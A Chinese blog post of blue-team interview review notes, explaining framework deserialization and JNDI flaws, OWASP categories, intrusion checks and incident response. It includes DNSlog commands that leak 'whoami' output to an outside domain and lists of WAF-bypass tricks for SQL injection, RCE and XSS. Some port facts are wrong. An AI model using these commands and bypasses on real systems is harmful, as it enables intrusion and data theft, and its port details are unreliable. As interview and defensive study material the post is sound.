2024HW --->蓝队面试题

这段时间在写横向移动,搞得鸽了很久(内网真的很玄学)  还没写完。。。

但是这不是准备HW了吗。小编也来整理一下自己收集到的题目吧!!!

(仅为个人见解,不代表最终答案)(本篇文章仅作为复习,具体细节请参考前面文章)

1.热门的框架漏洞

这个基本上是必问的!!!!! 啥都不看(bushi)先去看看这个!!

1.Shiro反序列化

听说这个问题命中率真的很高啊!!!

shiro可以分为550和721

Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的。

Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。

原理就是Apache Shiro框架提供了RememberMe的功能,用户的信息会被序列化,然后aes加密,然后再base64编码,就能得到rememeberme的cookie值,当服务器收到这个cookie值的时候,就会先base64解码,然后aes解码,然后再反序列化!!

因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞

2.Log4j2

这个也是被问到的很多的。

原理如下:

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行。!!

   ::这个大家应该不陌生吧(我之前讲过的)

3.Fastjson反序列化

这个其实原理和log4j2差不多,只不过多了一个序列化和反序列化

原理如下:

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。其中有个     dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!

2.OWASP-TOP10

这个基本上就是每一个渗透人员都要会的了吧!

1.失效的访问控制

说的那么高级,也就是我们常说的越权。越权通常发生在鉴权参数单一验证或者缺失,等等。。

2.加密机制失效

其实就是对什么密码啊,账号啊,敏感信息没有加密(直接明文传输),像shiro550密码直接硬编码了也算噢

3.注入

这里的注入可就不止SQL注入了,像还有什么代码注入,XML外部实体注入,html注入(XSS),jdni注入等等等

4.不安全的设计

在开发软件时,在关键身份验证、访问控制、业务逻辑和关键流部位没有进行安全的设计。
由于开发过程中的设计缺陷,可能导致注入、文件上传等漏洞被利用。

5.安全配置错误

嘿嘿,每次说到配置不当,我就想到提权(打住,这是Web),举个栗子?

还记不记得sql注入的宽字节注入,数据库采用GBK编码,php采用的UTF-8编码!!

这样我们传入的%df' 就会别解析为  让/变成一个 汉字 这样我们就实现了的逃逸(addslashes)

这!也是一种配置不当导致的漏洞!!!

6.自带缺陷的组件

这个就很好理解了,像什么中间件啊,框架漏洞啊,多多少少都有一些历史漏洞,如果我们发现有企业用到了,说不定就可以去尝试利用!!

7.身份识别与身份认证错误

其实就是认证崩溃,或者说是弱口令,能被攻击者暴力破解,以及猜到。

8.软件和数据完整性失败

这个仅作了解就好

9.不足的日志记录和监控

一句话总结,就是自己的内部检查能力不足 ,没有办法在别人正在攻击你的时候,发现自己被攻击了!!!

10.SSRF

这个就是服务端请求伪造(我之前讲过),如果服务器对用户传入的url或者数据过滤不严或者不过滤的话,就可能被攻击者恶意利用改服务器的身份去远程加载资源,内网探测,redis的getshell等

3.入侵排查思路

这个我之前也是讲过的,顺便来复习一下

1.Windows入侵排查

首先就是要去检测一下注册表里面有没有后门用户了,看到一些$的,可能就是后门用户,可以用工具去查杀一下

然后就是去tasklist查看是否有可疑进程,netstat -ano 查看是否有异常连接与端口

然后就是启动项,计划任务,服务(这些都可以被用作提权以及维权

接着,就是去eventvwr那里查看一下windows的安全日志,有无告警操作

最后就是看看系统有没有没打什么补丁,或者有没有什么可疑文件了

2.Linux入侵排查

首先来一句who 查看当前登录用户(tty本地登陆 pts远程登录)如果能看见pts就要去排查IP

然后就是要去查看用户信息,cat /etc/passwd看一下是否有uid除了root还为0的用户,以及去查看影子文件/etc/shadow

接着,就是要去查看历史执行的命令,cd到对应的home目录下cat .bash_history这个隐藏文件

然后,就是查看呢对应进程 ps -aux 如果有发现可疑进程 可疑 lsof -i:pid  然后直接kill掉它

接着,检查计划任务 /etc/crontab 以及一些开启启动的文件

通过命令查看suid权限以及sudo权限是否有被错误配置

最后就是查看一下登录日志了 /var/log  以及一些 系统的安全日志/var/log/secure

4.Web漏洞的一些细节

1.SQLmap的一些参数

  • -u  指定的是url
  • -r  指定的是文本
  • -p 指定参数
  • --batch 自动全部默认yes
  • -proxy指定代理
  • --risk  风险等级,一般都不要超过2否则可能会加入删除的语句
  • --os-shell (需要知道物理路径,secure_file_priv为空,root用户登录)先上传一个小马到当前目录下或者根目录,然后上传一大马来进行命令执行
  • -t 指定线程

那SQL注入的类型有哪些???

联合查询,布尔盲注,报错注入,时间盲注,堆叠注入,dnslog外带,UA,Refer,cookie注入,二次注入,宽字节注入。

2.XSS

反射型XSS和存储型XSS的区别?

DOM型注入JS代码不经过后端,反射型XSS以及存储型XSS都经过后端,并且每加载一次触发一次!!

3.csrf的原理?

CSRF(客户端请求伪造),攻击者通过技术手段去欺骗用户的浏览器去访问一个自己以前认证过的页面并且浏览器没有加相应的检验,导致攻击者能以用户的身份完成一系列操作如(支付订单,发邮件等操作)

防护??

  • 增加token检验
  • 检验refer头
  • 重要地方增加验证码检验

4.XXE原理?

XXE(xml外部实体注入),导致这个漏洞的产生,就是没有关闭外部实体引用,导致了攻击者可疑迭代的调用外部的DTD,进行内网探测,加载本地资源,DDOS攻击,一定条件下还能RCE。

最简单的防御方法,就是关闭XML外部实体引用 

5.反序列化

序列化时从对象流变为字节流或者json等格式,反序列化就是从json或者字节流等格式变回对象的形式。当传入的参数可控,以及知道类中的一些参数成员,和类内调用一些魔术函数或者危险方法(PHP)等的时候就可能发生反序列化漏洞

5.Wireshark

对于Wireshark的一些简单用法还是要会的

  • http.contains "Flag" http的包中包含flag字段
  • http.request.method== "POST" 以POST提交参数
  • http.request.uri="www.baidu.com"  uri中包含www.baidu.com的字段
  • ip.addr== "127.0.0.1" ip包含127.0.0.1
  • ip.src =="127.0.0.1"  源ip是127.0.0.1
  • tcp.srcport =="80" 源端口是80

等等等。。。。。。还有很多,自己去记一下

6.常见的端口以及对应的服务

  • 21 FTP 文件传输
  • 22 SSH  linux远程连接
  • 23 Telnet  Windows远程登录
  • 25 DNS  域名解析服务
  • 80 || 443  http || https 服务
  • 445 SMB文件共享(这个漏洞多)
  • 1433  MSSQL
  • 1521  Oracle
  • 3306 Mysql数据库
  • 5985 MinRM横向
  • 6379 Redis数据库
  • 7001 Weblogic默认端口

7.应急响应的流程

  • 收集信息:收集客户信息和中毒主机信息,包括样本

  • 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等

  • 抑制范围:隔离使受害⾯不继续扩⼤(封ip,c段),或者上报

  • 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源(蓝初不用)

  • 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产。

  • 产出报告:整理并输出完整的安全事件报告。

8.DnsLog的作用

对于Dnslog,每一个网安人都肯定不会陌生,那么我们来总结一下他的作用。

  • 用于XXE没有回显的时候来进行判断
  • 用于ssrf探针检测
  • 用于XSS的src标签检测
  • 用于探测内网的某一个机器是否出网(有点牵强)
  • RCE没有回显的判断(外带参数)
  • Sql注入中的DNSlog外带

没错!! RCE在无回显的时候也是可以通过DNSlog检测的!!

对于Windows环境,我们可以ping下面这个

ping %USERNAME%.dnslog.cn

对于Linux环境,我们可以ping下面这个

ping  `whoami`.dnslog.cn   //``会被Linux解析为执行命令

9.绕WAF

 :我??

不是你,我说的是 Web Application  Firewall !

1.SQL注入绕WAF

对于SQL注入,我们可以怎么绕WAF??


  • 大小写绕过(SeleCT ,UnIoN,AnD)
  • 编码绕过 %0a(换行)%23(#)  %26%26(&&) %00
  • 替换绕过 substring,mid,substr,&&,||,like,schema(),<>,between_and,lpad,rpad,locate
  • 注释符号绕过  user/**/() ,/*!database()*/
  • 正则匹配 regexp
  • HTTP参数污染,如?id=1&id=1%id=3' 说不定能绕过
  • 传输大量的数据,绕过WAF识别的容量
  • 双写绕过

2.文件上传绕WAF

对filename换行检测

 还有很多,我直接贴图吧

3.RCE绕WAF

  • 命令替换 tac ,less,tail,vi,more
  • 重定向代替空格 < 可以代替空格, ${IFS}也可以代替空格
  • 类堆叠注入 Linux下可以用 ;来执行多条命令
  • 编码绕过 %0a 
  • 模糊匹配 * 

4.XSS绕WAF

  • HTML实体编码,Unicode编码
  • 大小写绕过
  • 双写绕过
  • 采用其他函数 如confirm
  • 伪协议 javascript::alert
  • 增加标签,增加图片,链接🔗

10.Windows || Linux提权

这个不是一两句话能说完的,建议直接看我以前写的两篇文章

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/563004.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

select实现echo服务器的并发

select实现echo服务器的并发 代码实现 #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <stdlib.h> #include <arpa/inet.h> #include <sys/select.h> #include <sys/time.h…

Nodejs - 异步I/O

异步I/O 利用单线程&#xff0c;远离多线程死锁&#xff0c;状态同步等问题&#xff0c;利用异步I/O&#xff0c; 让单线程原理阻塞&#xff0c;更好的使用cpu异步I/O实现现状 阻塞IO 操作系统内对于I/O只有两种方式: 阻塞和非阻塞。在调用阻塞I/O的时候&#xff0c;应用程序需…

无损以太网的ROCE革命,队列的缓存空间优化分析

ROCE无损以太网&#xff0c;队列的缓存空间优化 多级缓存架构优化芯片性能&#xff1a;* 缓存空间细分为芯片级、端口级和队列级&#xff0c;实现精细管理。* 无损队列引入Headroom缓存空间&#xff0c;确保数据完整性。 在芯片层面&#xff1a; 静态缓存为端口提供保证的缓存空…

Tomcat弱口令及war包漏洞复现(保姆级教程)

1.环境搭建 靶机&#xff1a;Ubuntu 安装参考&#xff1a;安装Ubuntu详细教程_乌班图安装教程-CSDN博客 vulhub docker搭建tomcat漏洞环境 参考&#xff1a;vulhub docker靶场搭建-CSDN博客 工具&#xff1a;burpsuite 2.漏洞复现 2.1弱口令爆破 进入http://192.168.143…

分类神经网络1:VGGNet模型复现

目录 分类网络的常见形式 VGG网络架构 VGG网络部分实现代码 分类网络的常见形式 常见的分类网络通常由特征提取部分和分类部分组成。 特征提取部分实质就是各种神经网络&#xff0c;如VGG、ResNet、DenseNet、MobileNet等。其负责捕获数据的有用信息&#xff0c;一般是通过…

创新案例|Amazon.com 2023 年营销策略:电子商务零售巨头商业案例研究

2022 年最后一个季度&#xff0c;亚马逊报告净销售额超过 1,492 亿美元。这种季节性峰值是亚马逊季度报告的典型特征&#xff0c;但增长是不可否认的&#xff0c;因为这是该公司有史以来最高的季度。毫无疑问&#xff0c;这家电商零售巨头继续引领电商增长。本文将介绍我们今天…

Elasticsearch进阶篇(三):ik分词器的使用与项目应用

ik分词器的使用 一、下载并安装1.1 已有作者编译后的包文件1.2 只有源代码的版本1.3 安装ik分词插件 二、ik分词器的模式2.1 ik_smart演示2.2 ik_max_word演示2.3 standard演示 三、ik分词器在项目中的使用四、ik配置文件4.1 配置文件的说明4.2 自定义词库 五、参考链接 一、下…

mysql基础10——函数

数学函数 处理数值数据 取整函数 round(X,D) X表示要处理的数 D表示要保留的小数位数 处理的方式是四舍五入 round(X) 保留0位小数 金额要精确到分 说明保留两位小数 select round(salevalue,2) from demo.transactiondetails where transactionid1 and itemnum1; cei…

matplotlib从起点出发(15)_Tutorial_15_blitting

0 位图传输技术与快速渲染 Blitting&#xff0c;即位图传输、块传输技术是栅格图形化中的标准技术。在Matplotlib的上下文中&#xff0c;该技术可用于&#xff08;大幅度&#xff09;提高交互式图形的性能。例如&#xff0c;动画和小部件模块在内部使用位图传输。在这里&#…

记录一个hive中跑insert语句说没创建spark客户端的问题

【背景说明】 我目前搭建离线数仓&#xff0c;并将hive的执行引擎改成了Spark&#xff0c;在将ods层的数据装载到dim层&#xff0c;执行insert语句时报如下错误 【报错】 [42000][40000] Error while compiling statement: FAILED: SemanticException Failed to get a spark…

Rust序列化和反序列化

Rust 编写python 模块 必备库 docker 启动 nginx 服务 NGINX 反向代理配置

RAG技术从入门到精通

LLM之RAG技术从入门到精通 RAG技术介绍诞生背景定义 RAG与微调RAG流程架构RAG三种范式Naive RAGAdvanced RAG预检索过程嵌入后期检索过程RAG管道优化 Modular RAG RAG工作流程企业知识问答知识库RAG评估评价方法独立评估端到端评估 关键指标和能力 RAG优化RAG在企业知识库应用下…

WebSocket 快速入门 - springboo聊天功能

目录 一、概述 1、HTTP&#xff08;超文本传输协议&#xff09; 2、轮询和长轮询 3、WebSocket 二、WebSocket快速使用 1、基于Java注解实现WebSocket服务器端 2、JS前端测试 三、WebSocket进阶使用 1、如何获取当前用户信息 2、 后端聊天功能实现 一、概述 HTTP…

Navicat Premium 16最新版激活 mac/win

Navicat Premium 16 for Mac是一款专业的多连接数据库管理工具。它支持连接多种类型的数据库&#xff0c;包括MySQL、MongoDB、Oracle、SQLite、SQL Server、PostgreSQL等&#xff0c;可以同时连接多种数据库&#xff0c;帮助用户轻松地管理和迁移数据。 Navicat Premium 16 fo…

Wpf 使用 Prism 实战开发Day21

配置默认首页 当应用程序启动时&#xff0c;默认显示首页 一.实现思路&#xff0c;通过自定义接口来配置应用程序加载完成时&#xff0c;设置默认显示页 步骤1.创建自定义 IConfigureService 接口 namespace MyToDo.Common {/// <summary>/// 配置默认显示页接口/// <…

Golang那些违背直觉的编程陷阱

目录 知识点1&#xff1a;切片拷贝之后都是同一个元素 知识点2&#xff1a;方法集合决定接口实现&#xff0c;类型方法集合是接口方法集合的超集则认定为实现接口&#xff0c;否则未实现接口 切片拷贝之后都是同一个元素 package mainimport ("encoding/json"&quo…

springboot是什么?

可以应用于Web相关的应用开发。 选择合适的框架&#xff0c;去开发相关的功能&#xff0c;会有更高的效率。 为什么Spring Boot才是你该学的!学java找工作必会技能!在职程序员带你梳理JavaEE框架_哔哩哔哩_bilibili java工程师的必备技能 Spring是Java EE领域的企业级开发宽…

Kafka源码分析(四) - Server端-请求处理框架

系列文章目录 Kafka源码分析-目录 一. 总体结构 先给一张概览图&#xff1a; 服务端请求处理过程涉及到两个模块&#xff1a;kafka.network和kafka.server。 1.1 kafka.network 该包是kafka底层模块&#xff0c;提供了服务端NIO通信能力基础。 有4个核心类&#xff1a;…

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第六套

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第六套 (共9套&#xff0c;有答案和解析&#xff0c;答案非官方&#xff0c;未仔细校正&#xff0c;仅供参考&#xff09; 部分题目分享&#xff0c;完整版获取&#xff08;WX:didadidadidida313&#xff0c;加我备注&#x…

使用python socket搭建Client测试平台

目录 概述 1 背景 2 Client功能实现 2.1 何谓Client 2.2 代码功能介绍 2.3 代码实现 2.3.1 代码介绍 2.3.2 代码内容 3 测试 3.1 PC上创建Server 3.2 同一台PC上运行Client 3.2.1 建立连接 3.2.2 测试数据交互 3.3 Linux 环境下运行Client 3.3.1 建立连接 3.3.…